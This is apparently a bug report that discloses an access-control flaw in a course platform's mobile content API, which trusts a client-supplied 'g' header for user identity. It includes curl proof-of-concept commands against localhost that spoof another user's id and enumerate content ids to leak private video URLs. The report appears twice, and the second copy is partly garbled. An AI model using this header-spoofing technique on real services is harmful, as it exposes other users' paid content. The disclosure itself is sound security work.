Describe the bug
The mobile content endpoint GET /api/mobile/courses/{courseId}/{collectionId}/{contentId} returns the full Content row — including the nested VideoMetadata object (1080p CDN mp4/m3u8 URLs, PDF slide links, transcript segments) — based on the identity asserted in the client-supplied g header, rather than a value derived from the server session. checkUserContentAccess trusts this header directly: setting g to another user's id grants that user's course entitlements without holding their credentials.
To Reproduce
Steps to Reproduce
Two isolated test accounts with distinct, attributable data:
User | id | Owns courses | Private content | CDN asset
-- | -- | -- | -- | --
testuser@example.com | 1 | 1, 2 | content 4 | USER1-SECRET-ONLY-1080.mp4
testuser2@example.com | 2 | 1, 5 | content 5 | USER2-SECRET-ONLY-1080.mp4
- Request own content with
g: {"id":"1"} — confirm baseline 200 on owned content.
- Replay the identical request against victim content, changing only the
g header's id value to 2:
GET /api/mobile/courses/5/5/5 with g: {"id":"2"} → 200 OK, response body contains user 2's private VideoMetadata.
- Holding
g at {"id":"2"}, increment contentId sequentially to confirm the access check never re-validates ownership per content row.
PoC
Step 1 — baseline: g={"id":"1"} on own content -> 200 (control)
curl -k 'http://localhost:3000/api/mobile/courses/1/1/4'
-H 'Host: localhost:3000'
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
-H 'Accept-Language: en-US,en;q=0.8'
-H 'Auth-Key: anything'
-H 'g: {"id":"1"}'
-w ' <- g={"id":"1"} on own content [%{http_code}]\n'
Step 2 — only the g header's id changes -> 200, leaks victim content
curl -k 'http://localhost:3000/api/mobile/courses/1/1/5'
-H 'Host: localhost:3000'
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
-H 'Accept-Language: en-US,en;q=0.8'
-H 'Auth-Key: anything'
-H 'g: {"id":"2"}'
-w ' <- g={"id":"2"} on victim content [%{http_code}]\n'
| grep -oE 'USER2-SECRET-ONLY[^"]*' | head -1
Step 3 — sequential contentId enumeration under g={"id":"2"}
for cid in 1 2 3 4 5 6; do
curl -k "http://localhost:3000/api/mobile/courses/1/1/$cid"
-H 'Auth-Key: anything'
-H 'g: {"id":"2"}'
-w " <- contentId=$cid [%{http_code}]\n"
| grep -oE 'USER2-SECRET-ONLY[^"]*'
done
Result: changing only the g header's id value deterministically returns another user's private, DRM-gated 1080p CDN URL — a resource that request had no entitlement to.
Expected behavior
Access should be determined by the validated server session, not the client-supplied g header. Regardless of g's value, a request for content the session's actual user doesn't own should always return 403 — checked per contentId, not just per courseId.
Screenshots or GIFs
For User2:
For user1:
Info (please complete the following information):
- Browser: Brave
- Version: v1.91.175
- Tools Used : Caido proxy tool
Describe the bug
The mobile content endpoint GET /api/mobile/courses/{courseId}/{collectionId}/{contentId} returns the full Content row — including the nested VideoMetadata object (1080p CDN mp4/m3u8 URLs, PDF slide links, transcript segments) — based on the identity asserted in the client-supplied g header, rather than a value derived from the server session. checkUserContentAccess trusts this header directly: setting g to another user's id grants that user's course entitlements without holding their credentials.
To Reproduce
Steps to Reproduce
Two isolated test accounts with distinct, attributable data:
g: {"id":"1"}— confirm baseline200on owned content.gheader'sidvalue to2:GET /api/mobile/courses/5/5/5withg: {"id":"2"}→200 OK, response body contains user 2's privateVideoMetadata.gat{"id":"2"}, incrementcontentIdsequentially to confirm the access check never re-validates ownership per content row.PoC
Step 1 — baseline: g={"id":"1"} on own content -> 200 (control)
curl -k 'http://localhost:3000/api/mobile/courses/1/1/4'
-H 'Host: localhost:3000'
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
-H 'Accept-Language: en-US,en;q=0.8'
-H 'Auth-Key: anything'
-H 'g: {"id":"1"}'
-w ' <- g={"id":"1"} on own content [%{http_code}]\n'
Step 2 — only the g header's id changes -> 200, leaks victim content
curl -k 'http://localhost:3000/api/mobile/courses/1/1/5'
-H 'Host: localhost:3000'
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
-H 'Accept-Language: en-US,en;q=0.8'
-H 'Auth-Key: anything'
-H 'g: {"id":"2"}'
-w ' <- g={"id":"2"} on victim content [%{http_code}]\n'
| grep -oE 'USER2-SECRET-ONLY[^"]*' | head -1
Step 3 — sequential contentId enumeration under g={"id":"2"}
for cid in 1 2 3 4 5 6; do
curl -k "http://localhost:3000/api/mobile/courses/1/1/$cid"
-H 'Auth-Key: anything'
-H 'g: {"id":"2"}'
-w " <- contentId=$cid [%{http_code}]\n"
| grep -oE 'USER2-SECRET-ONLY[^"]*'
done
Result: changing only the g header's id value deterministically returns another user's private, DRM-gated 1080p CDN URL — a resource that request had no entitlement to.
Expected behavior
Access should be determined by the validated server session, not the client-supplied g header. Regardless of g's value, a request for content the session's actual user doesn't own should always return 403 — checked per contentId, not just per courseId.
Screenshots or GIFs
For User2:
For user1:
Info (please complete the following information):